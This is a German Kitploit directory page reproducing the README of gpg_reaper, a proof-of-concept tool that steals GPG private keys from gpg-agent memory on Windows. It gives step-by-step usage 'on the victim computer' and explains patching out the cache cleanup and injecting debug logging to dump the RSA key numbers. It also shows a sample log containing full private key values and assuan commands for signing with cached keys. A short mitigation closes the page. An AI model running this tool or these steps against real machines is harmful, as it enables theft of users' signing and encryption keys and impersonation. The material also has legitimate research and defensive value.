Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
gpg_reaper — GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen | Kitploit
Tools/GitHubGitHub/kacperszurek/gpg_reaper
SpeicherforensikExploitationPost-ExploitationPenetrationstests
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - GPG-private Schlüssel aus dem gpg-agent-Cache/Speicher erhalten/stehlen/wiederherstellen

Repository anzeigen
9611vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GPG Reaper

TL;DR: GPG-Private Keys aus dem gpg-agent-Cache/Speicher erlangen/stehlen/wiederherstellen

GPG Reaper Logo

Dieser POC demonstriert eine Methode, um GPG-Private Keys aus dem gpg-agent-Speicher unter Windows zu erlangen.

Normalerweise sollte dies nur innerhalb eines Zeitrahmens von 10 Minuten möglich sein (Wert von --default-cache-ttl).

Leider wird die Funktion housekeeping() (die für die Cache-Bereinigung zuständig ist) nur ausgeführt, wenn Sie GPG verwenden (dort gibt es keinen Timer).

Das bedeutet, dass bei normalem GPG-Einsatz, wie: Sie signieren eine Datei, schließen dann die GUI und erledigen andere Aufgaben, Ihr Passwort immer noch im gpg-agent-Speicher ist (selbst wenn die TTL abgelaufen ist).

Ein Angreifer, der Zugriff auf Ihre aktuelle Sitzung hat, kann dies zum Stehlen des Private Keys nutzen, ohne Ihre Passphrase zu kennen.

HINWEIS: GPG wird den Caching-Mechanismus in Version 2.2.6 ändern. Siehe Commit und Issue.

Gpg Reaper Implementierung

Inhaltsverzeichnis

  • Installation
  • Test
  • Einführung
  • Verwendung
  • Nach-Exploitation auf einem Rechner mit GPG
  • Umgehung der Exportbeschränkung für Private Keys
  • Fazit
  • Implementierung
  • Unterstützte Versionen
  • FAQ
  • Quellenangabe

Installation

root@kitploit:~
pip install PGPy

Wenn Sie folgendes erhalten:

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

dann:

root@kitploit:~
pip install six==1.10.0

Test

  1. Installieren Sie Gpg4Win 3.0.3

  2. Öffnen Sie die Befehlszeile und starten Sie den Agent mit einer Cache-Zeit von 2 Sekunden:

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. Führen Sie Kleopatra aus und generieren Sie ein neues Schlüsselpaar

GPG-Schlüssel generieren

  1. Signieren Sie eine Beispieltestdatei

Testdatei signieren

  1. Pinentry wird erscheinen und Sie nach Ihrer Passphrase fragen

Pinentry

  1. Wiederholen Sie Schritt 4-5. Jedes Mal erscheint pinentry, weil unser 2-Sekunden-Cache abgelaufen ist

  2. Führen Sie GPG Reaper aus

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

Sie werden etwas sehen wie:

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

Wie Sie sehen können, haben wir den Schlüssel ausgelesen. Dies ist möglich, weil wir die housekeeping-Funktion genoppt haben.

  1. Stellen Sie den Private Key wieder her:
root@kitploit:~
python gpg_reaper.py .\testme.txt

Der Private Key wird in die Datei ausgegeben:

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

Einführung

GPG-Agent ist ein Daemon zur Verwaltung von Private Keys unabhängig von einem Protokoll.

Die GUI-Schnittstelle kommuniziert mit dem Agent über das Assuan-Protokoll.

Standardmäßig cached der Agent Ihre Anmeldedaten.

Die Option --default-cache-ttl n setzt die Gültigkeitsdauer eines Cache-Eintrags auf n Sekunden.

Der Standardwert ist 600 Sekunden. Jedes Mal, wenn auf einen Cache-Eintrag zugegriffen wird, wird sein Timer zurückgesetzt.

Unter Windows sieht der Signiervorgang wie folgt aus:

Signiervorgang

Der entscheidende Teil ist die Funktion housekeeping(), die für das Entfernen abgelaufener Anmeldedaten aus dem Speicher verantwortlich ist.

Aber es gibt ein Problem: Diese Funktion wird nur an zwei Stellen ausgeführt (innerhalb von agent_put_cache und agent_get_cache).

Das bedeutet, dass gecachte Anmeldedaten NICHT aus dem Speicher entfernt werden, bis einige gpg-agent-Befehle ausgeführt werden, die agent_put_cache oder agent_get_cache oder agent_flush_cache verwenden.

Verwendung

Auf dem Opfercomputer:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

Übertragen Sie out.txt auf Ihren Rechner und stellen Sie die Private Keys wieder her:

root@kitploit:~
gpg_reaper.py out.txt

Die Private Keys werden in separate Dateien ausgegeben.

Wenn GPG außerhalb der Standardverzeichnisse installiert ist:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

Wenn Sie keine Debug-Meldungen wünschen:

root@kitploit:~
Gpg-Reaper -Verbose $false

Nach-Exploitation auf einem Rechner mit GPG

Nehmen wir an, Sie führen Penetrationstests durch und erhalten eine Shell auf einem Rechner mit installiertem GPG.

Wenn Sie Glück haben und der Benutzer GPG kürzlich verwendet hat und der Cache nicht abgelaufen ist, können Sie:

  1. Signieren Sie eine Datei:

Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus

  • Holen Sie sich die Liste der auf dem Rechner verfügbaren Keys:
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • Setzen Sie Keygrip und Message-Hash:
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Exportieren Sie den Private Key:

Führen Sie c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe aus

  • Holen Sie sich den Wrapping-Key:
root@kitploit:~
KEYWRAP_KEY --export
  • Exportieren Sie einen geheimen Schlüssel aus dem Schlüsselspeicher. Der Schlüssel wird mit dem aktuellen Sitzungs-Wrapping-Key unter Verwendung des AESWRAP-128-Algorithmus verschlüsselt:
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

Leider funktioniert dies nicht wie erwartet und fragt nach dem Passwort.

Warum? Weil die Funktion cmd_export_key() agent_key_from_file() mit dem Flag CACHE_MODE_IGNORE ausführt, was bedeutet, dass der Cache nicht verwendet wird und der Benutzer jedes Mal nach der Passphrase gefragt wird.

Umgehung der Exportbeschränkung für Private Keys

Wir wissen, dass es nicht möglich ist, einen GPG-Key über den gpg-agent zu exportieren, ohne das Passwort zu kennen.

Aber es gibt eine kleine Besonderheit. Der Agent hat einige Optionen verfügbar:

  1. --debug-level

Wählen Sie die Debug-Stufe zur Untersuchung von Problemen. level kann ein numerischer Wert oder ein Schlüsselwort sein:

guru - Alle Debug-Meldungen, die Sie erhalten können.

  1. --log-file file

Hängen Sie alle Logging-Ausgaben an eine Datei an. Dies ist sehr hilfreich, um zu sehen, was der Agent tatsächlich tut.

Lassen Sie uns den Agent mit gpg-agent.exe --daemon --debug-level guru --log-file out.txt ausführen und eine Datei signieren.

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

Es sieht so aus, als ob der guru-Modus die Zahlen n, e, d, p, q und u in die Logdatei schreibt. Mit diesem Wissen können wir den öffentlichen und privaten Schlüssel berechnen.

Intern wird der Wert von skey von gcry_log_debugsxp() ausgegeben, wenn DBG_CRYPTO gesetzt ist:

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

Fazit

Wenn Sie sich gegen diesen Angriff schützen möchten, müssen Sie den Cache deaktivieren.

Erstellen/Ändern Sie: %APPDATA%\gnupg\gpg-agent.conf:

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

Implementierung

  1. Überprüfen Sie, ob die Pfade zu gpg-connect-agent.exe, gpg-agent.exe und gpg.exe korrekt sind

  2. Überprüfen Sie, ob die sha256 von gpg-agent.exe unterstützt wird

  3. Überprüfen Sie, ob der Prozess gpg-agent.exe läuft und öffnen Sie ihn mit OpenProcess

  4. Start-Job, das alle pinentry-Prozessinstanzen beendet. Wenn wir also nach einem Key fragen, der nicht im Cache ist, können wir ohne Benutzerinteraktion fortfahren

  5. Lesen Sie die ursprünglichen Bytes von housekeeping() und agent_pksign_do(), um sie nach der Skriptausführung wiederherstellen zu können

  6. NOPpen Sie die housekeeping()-Funktion, damit sie abgelaufene Cache-Einträge nicht aus dem Speicher entfernt NOP housekeeping

JMP-Adresse

  1. Führen Sie den folgenden Befehl mit gpg-connect-agent.exe aus:
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. Überprüfen Sie, ob die Logdatei die Zahlen n, e, d, p, q und u enthält. Wenn ja, geben Sie sie an den Benutzer zurück.

  2. Wiederholen Sie die Punkte 8-11 für jeden Key aus Punkt 7

Mit der Bibliothek PGPy können wir nun den Private Key wiederherstellen. Siehe: gpg_reaper.py

Unterstützte Versionen

Gpg-agent wird ohne ASLR kompiliert, daher verwende ich einige festcodierte Offsets im PowerShell-Skript. Aus diesem Grund werden nur die angegebenen Versionen unterstützt:

Versiongpg-agent.exe sha256
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

FAQ

  1. Warum PowerShell?

Weil diese Datei auf den meisten modernen Windows-Systemen ohne externe Abhängigkeiten ausgeführt werden kann.

  1. GPG %file% nicht vorhanden

gpg-connect-agent.exe, gpg-agent.exe oder gpg.exe existiert nicht im Standardverzeichnis.

Sie können versuchen, einen benutzerdefinierten Speicherort anzugeben mit:

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. Kein gpg-agent läuft

gpg-agent.exe läuft auf diesem System nicht, daher können wir den Private Key nicht wiederherstellen.

  1. Unbekannte gpg-agent-Version, sha256:

Derzeit unterstützt dieses Skript nur bestimmte Versionen

  1. Kein gecachter Key

Es ist kein gecachter Key im Speicher vorhanden, daher können wir den Private Key nicht wiederherstellen.

Quellenangabe

Sensen-Symbol erstellt von Freepik von www.flaticon.com.

Schriftart Solstice Of Suffering von GraveTech.

Tool herunterladen
  • Holen Sie sich die Liste aller verfügbaren Private Keys mit gpg.exe --list-secret-keys --with-keygrip

  • Holen Sie sich den öffentlichen Schlüssel mit gpg.exe --armor --export %key_fingerprint%

  • Allokieren Sie Speicher innerhalb von gpg-agent.exe mit VirtualAllocEx. Speichern Sie dort den Pfad zu unserer Logdatei und rufen Sie log_set_file() auf.

  • Ersetzen Sie if (DBG_CRYPTO) mit einem Aufruf unseres allokierten Speichers aus Punkt 9 innerhalb von agent_pksign_do().

  • 3.0.1BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC